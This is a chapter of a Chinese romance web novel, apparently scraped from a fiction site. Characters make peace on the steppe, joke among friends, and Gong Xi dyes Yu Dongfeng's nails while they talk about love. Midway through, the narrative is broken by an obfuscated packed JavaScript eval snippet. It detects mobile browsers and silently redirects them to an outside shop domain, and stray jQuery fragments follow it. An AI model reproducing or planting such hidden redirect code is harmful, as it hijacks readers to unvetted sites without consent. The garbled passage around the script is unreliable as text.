文趣网 > 都市小说 > 吾主缺德 > 38. 战止于此,和始于斯(3)
    傍晚时分,最后一朵雪花落在祁良的肩头,夕阳渐渐从云层后露出,霞光满天。橘红倾泻而下,染红雪原。

    他回望着身后的毡房,片刻后转过头继续向前走。

    魏翎翊:“舅父,方才那素衣仆……”

    “给蝴蝶修缮翅膀,祝愿天下皆安的蝶安君。”

    桓靥星瞪大眼睛扭过头来,“周——天——子……”还未等她把话说完就被魏翎翊眼神制止。

    周蝶安君出生正是百卉萌动的时节,那一年又恰逢有星坠野,国师乌昼便给他取号为彗安君。

    在他五岁时,在御花园偶然拾到一只蝴蝶。蝴蝶翅膀残缺,彗安君便用金银箔附上薄绸修缮了那只蝴蝶的翅膀,将蝴蝶送回百卉之中。

    蝶安君的新封号便由此而来。他因仁心而被周妖帝接到身边亲自培养,被指定为周天子。其父明襄王父凭子贵,继位周天子。

    蝶安君由此声名鹊起。

    桓靥星乖乖闭上了嘴巴,还做出一个将嘴缝起来动作。

    雪原的另一侧,庾东风、乌居山、宫禧、周缜,四人脑袋并脑袋,围成一个圈,谈天说地。

    乌居山不能受寒,庾东风给她铺了一层狼皮垫在她身下,宫禧给她找了个手炉,周缜将自己的外袍仔细盖在她身上,并帮她掖好防止灌风。

    其余三人虽说身体素质不差,但是冰脑袋容易受寒。宫禧一只手垫着自己的脑袋,一只手伸出去给庾东风做肉垫。周缜微笑着双手垫在后脑勺下。

    庾东风嘴里说着自己以后前往魏国的打算,她望着天上的云霞神采奕奕。

    乌居山歪着头,碰了碰庾东风的头。庾东风迅速反应过来看她一眼。

    乌居山:“这回要去多久?”

    庾东风撅撅嘴,“天长地久。”

    “少说些不吉利的话。”乌居山弯弯嘴唇,轻抚着手里的手炉。感受着热气透过布绸呼在她的手心。

    “宫家小郎,你呢?”

    “我听庾东风的。”

    闻言周缜轻笑,“少微少主又说笑话,我们几个谁不听卿卿的。”

    宫禧闻言皱眉,拧了一下周缜的胳膊,“又装,收起你的死官腔。”

    “哈哈哈,打起来打起来。”庾东风笑着拱火。

    乌居山看着几人打闹,安静地弯起自己的嘴角,默默地欣赏着。

    几人的笑声在雪原上忽隐忽现,被藏匿在枯黑的密林里。

    密林外,乌昼和伽黛罗并肩站着。

    伽黛罗开口道:“真没想到我们两个争争抢抢一辈子,最后还要抢孩子。”

    乌昼不经意抖了抖自己的眉毛,“她生母你认识啊,庾鞅。”

    “庾家的女儿?”伽黛罗撇头,“那要遭罪了。还好是你养。”

    “抢的。”

    伽黛罗不屑地哼笑一声,“你还有不敬天意的时候?不是算了你命中无子吗?”

    “我命中无子,但她命中有手足。”

    “你利用她。”

    这次换成乌昼哼笑,仿佛是意料之中的事情,“她知道,她愿意。阿旭也愿意,你气不气?”

    伽黛罗撩起自己的珠链,眯着眼看着乌昼。她眼角的皱纹堆在一起,似乎是有些得意,“连理缔约上写的是庾东风和宫少微,而不是乌居山。你气不气?”

    乌昼不言,瞅准了伽黛罗的脚,狠狠踩了下去。一边转动脚尖加重力道,一边弯弯嘴唇轻盈说道:“一点都不气。”

    伽黛罗抿抿嘴,就算是疼得脸开始抽搐也不让吃痛的呻吟溢出来。

    两人面对面互相微笑着,谁也不让谁。

    一红一白站在黑色的枯林外,塞外的飞雪渐渐停歇在二人脚边,尘埃落定般不再被风吹起。

    有了伽黛罗可汗的劳军补给,苍狼部的冬天也算是富足。

    冬去春来,白雪消融。青嫩的草尖钻出被冻得半透明的积雪,在阳光下绿得像那玻璃种的翡翠一般。

    伽黛罗的游动王庭在苍狼部驻留到了春天。她为乌居山献上了一块轿子大的玄铁。乌居山欣然前往蛮人谷,为可汗拆解机关消杀病疫。

    连同一起的还有庾东风那装有二十几个头颅的箱子,也算是她给白鹿部的礼物。

    ……

    一双妃色海棠纹鞋履踩过草地,一双黑色珍珠鞋履紧随其后。偶尔还有一双白皙修长的手拾擢地上的小花。

    “庾东风——庾东风——等等我——”

    “不等你不等你不等你,哈哈哈哈——”庾东风抓着风筝线轴就往前跑,丝毫不管身后的宫禧。

    宫禧一路摘花,赶上庾东风时怀里已经装了满满一把,在阳光下晃呀晃,晃呀晃。

    妃色的鱼纸鸢在天上滑行,半透明的尾巴在蓝天的印衬下透成淡淡的紫色。

    庾东风躺在宫禧的大氅上,看着那紫色就想起乌居山的衣服,就想起她挂在身上的那些祈求长寿的银饰,就想起乌居山。

    “你说我阿姊会不会有危险啊?蛮人谷那个地方地势那么复杂。”庾东风自言自语道。

    紧接着她又自己回答道:“阿姊那么有本事,不会有问题哒~”

    说完她就左右晃起自己的脚,大吸一口草原上新鲜的空气,满足地闭上眼睛。

    “要开始小憩了?”宫禧把自己找到的小花都堆在庾东风身侧,“我刚才还找到了一丛凤仙花,你想不想染丹蔻?宫福阿姊来的时候带来了不少明矾,我给你染,怎么样?”

    庾东风抬手屈指看着自己的指甲,虽说她平时有修甲的习惯,但是很少见过别的颜色。若是能有其她颜色,给指甲换个颜色,她倒也是乐意。

    她闭上眼睛舒舒服服开始小憩,顺便将手伸向宫禧,“给你个机会,染吧。”

    宫禧得了允许,开开心心拉过自己身后的挎包在里面东翻西找。石臼、石杵、化水的明矾还有他刚刚摘的一把凤仙花。

    纸鸢盖在庾东风的脑袋上,阳光透过妃色的纸鸢,妃色的光照拂在她的脸上给她点上腮红。庾东风睡在纸鸢下,不吵不闹,安安静静。

    被阳光晒化的雪氤氲着白气,左右抖动着向上升腾。将庾东风衬得有如天上谪仙。

    宫禧一边看着一边从怀里拿出自己给庾东风海棠花耳堵。金丝缠好的海棠花,下面缀着一颗妃色的海螺珠。

    周国人对于身体发肤受之父母之言是不信的,女子男子都可以穿耳。庾东风慊穿耳后的养护过于繁琐,遂没有穿。

    这一对金丝海棠耳堵,倒也能替了那繁琐的耳坠。

    “戴上耳堵后就没有那么吵了。”宫禧趴在她耳边说道。

    庾东风屈屈手指,代替了点头。宫禧正托着庾东风的手,轻轻拍了一下庾东风的手背,笑道:“懒死你得了。”

    庾东风正要抽回自己的手,宫禧立刻虚环着她的手腕,拍了拍自己的嘴,“东风少卿消消气,宫家小子不会说话。你罚他给你染指甲,永生永世追随你最你的奴隶。”

    庾东风勾了勾自己的嘴角,“周国没有奴隶。”

    庾东风耳边传来宫禧略显蔫巴的声音,“你可以当我是魏国人。”

    “魏国?”“喂,你想好没有自己的山庄要起什么名字?”

    宫禧轻皱眉头,“我有名字,不许叫我喂。”

    “卿卿,你有没有为自己的山庄起名字?”

    庾东风的手背又挨了一下,宫禧扁扁嘴,语气夹杂着几分委屈。他垂眸,“别以为我不知道你为什么叫周迟迟卿卿,你记不住他的名字才那么叫。你不许那么叫我,你要记住我。”

    “好吧,宫四。”

    “跟我念,宫——禧——”

    “宫少微。”

    “行吧行吧。”宫禧知晓庾东风那点恶趣味,不勉强她,“叫无漾山庄。”

    庾东风歪歪头,宫禧便解释道:“小时候你说你想到处去看看。你去了西极大漠黄沙,现在又在瀚海草原。日后也许会去探索那一片碧波汪洋。我知道你不喜欢一帆风顺、风平浪静的生活,你喜欢的那些事情总是那么危险……”

    宫禧抬眸,窥探着庾东风的脸,声音越来越低。庾东风对他这番说辞并没有任何反应,依旧是自己躺着。

    “你喜欢的事情总是那么危险,你喜欢挑战、喜欢克服一切获得的成就感。所以我为你祈祷,用一整座山庄为你祈祷,祈祷你无恙。”

    “谢谢。这件事情我昼娘亲天天做。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514391|202383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “国师是国师,我是我。我乐意,关你什么事。”

    庾东风轻笑出声,“行,你乐意,不关我事。”

    庾东风动动手指,“染好没有?”

    “没呢,等会儿。”

    宫禧一手托着庾东风的手,一手沉腕给她的指甲画上花纹。阳光照在他身上,给他镀上了一层暖光。脸颊上的细小绒毛都清晰可见,随着他的呼吸有序的起伏。

    “你喜欢我什么?”

    宫禧绘画的手一顿,转瞬间又继续接上。他长舒一口气,“为什么突然这么问?”

    “不突然,很早就想问了。”

    宫禧将毛笔搁下,双手托着庾东风的手给她的手指头吹气。“我喜欢你,其实是喜欢我自己。我跟你说过,我将你当作是世界上的另一个我,这是真的。”

    “世界这么大,人那么多,人心一个比一个花。有的人见一个爱一个,一辈子都说不清自己爱谁。有的人一辈子只爱一个,最后没有在一起,那份爱渐渐地就变成了执着。我其实一开始也不知道我为什么喜欢你,为什么爱你。你卑鄙无耻还缺德,逃学的时候甩锅给我,打马球的时候给我下死手……”

    紧接着他笑着接上,“但后来我发现我又是什么好东西?贱人一个,嘴毒、没良心,脑子还愣。”

    说着说着宫禧自己笑了出来,见庾东风仍旧不为所动。他撅撅嘴继续说道:“有的人存在就是为了让我认清自己,我和你相处朝夕、不离不弃,你让我知道我所爱何人。有的人想要在纷繁复杂的世界想要爱一个天真无邪的人,在花心滥情的世界想要爱一个深情专一的人……她们穷极一生都在追寻,但未必有结果。因为她们的时代生不出她们的爱人,她们的爱悬浮着,无处安放。但我不一样……”

    “我是幸运的,我的时代有你。”宫禧端详着半睡半醒的庾东风,捏了捏庾东风的指尖,“我能看见你、我能触摸你、我能和你说话、我能得到你的答复,这是多么幸运的事情。有人朝闻道夕死可矣,但是她们的道不在她们的时代出现。有些人的爱人在几百年前,有些人的爱人在几百年后,她们可没我这么幸运。她们能跨越时间找到自己的爱人便已经是万幸,更别提看见、触摸、交谈……”

    庾东风:“我还是不明白。按你这么说,爱就是思念对吗?”

    宫禧嘴角勉强扯出一抹笑意,“不一样。”

    “哪里不一样?我思念你,所以我爱你。”

    “你对我的爱不是凤求凰、蝶恋花的爱,是你自爱的延伸。爱我能使你高兴所以你爱,如果有一天爱我不能使你高兴,你就会及时撤出。你的爱只存在在当下,像某一阵风,吹过就没了。”

    “可是这样两个人都开心啊,这样不好吗?”

    “这样当然很好,每个人都有不同的方式去理解爱。只是我和你的理解不同而已。其实你也不用去理解什么是爱,术业有专攻,这种事情我来就好,我永远会给你属于我的答案。”

    “那我的爱人是谁?”

    宫禧诧异挑起眉头,“喂喂喂,东风少卿。你这就不够意思了,你刚和我结连理,就问这样的问题,是不是太缺德了。”

    “我想知道。”

    “我因你而完整,但你的完整你要自己去找。”随后宫禧清了清嗓子,“但是呢,谁让我善良智慧有爱心呢,我无比乐意为你效劳,和你一起去寻找你的完整。”

    “你为什么觉得我是残缺的?也许我本身就是完整的。”

    宫禧眨眨眼,似乎没有想到庾东风会说出这般话。他为什么会觉得庾东风就是那个需要寻求完整的人呢?他为什么就认为庾东风是残缺的呢?

    宫禧垂眸看着庾东风的丹蔻,笑出声来,“是我狭隘了,我傲慢惯了,一时之间竟将你等同于我了。”

    “这就是一个很典型的爱你的原因。因为你,我认识了自己,知道了自己的傲慢。因为你是庾东风,因为你存在……”

    话音未落,庾东风缓缓睁开眼睛。看见宫禧那双含笑的眉眼。发丝在微风里荡漾,新的海螺珠耳铛一摇一晃。

    “太深奥了,听累了。”

    “行行行——谋尽天下人的东风少卿脑子不够用啦——”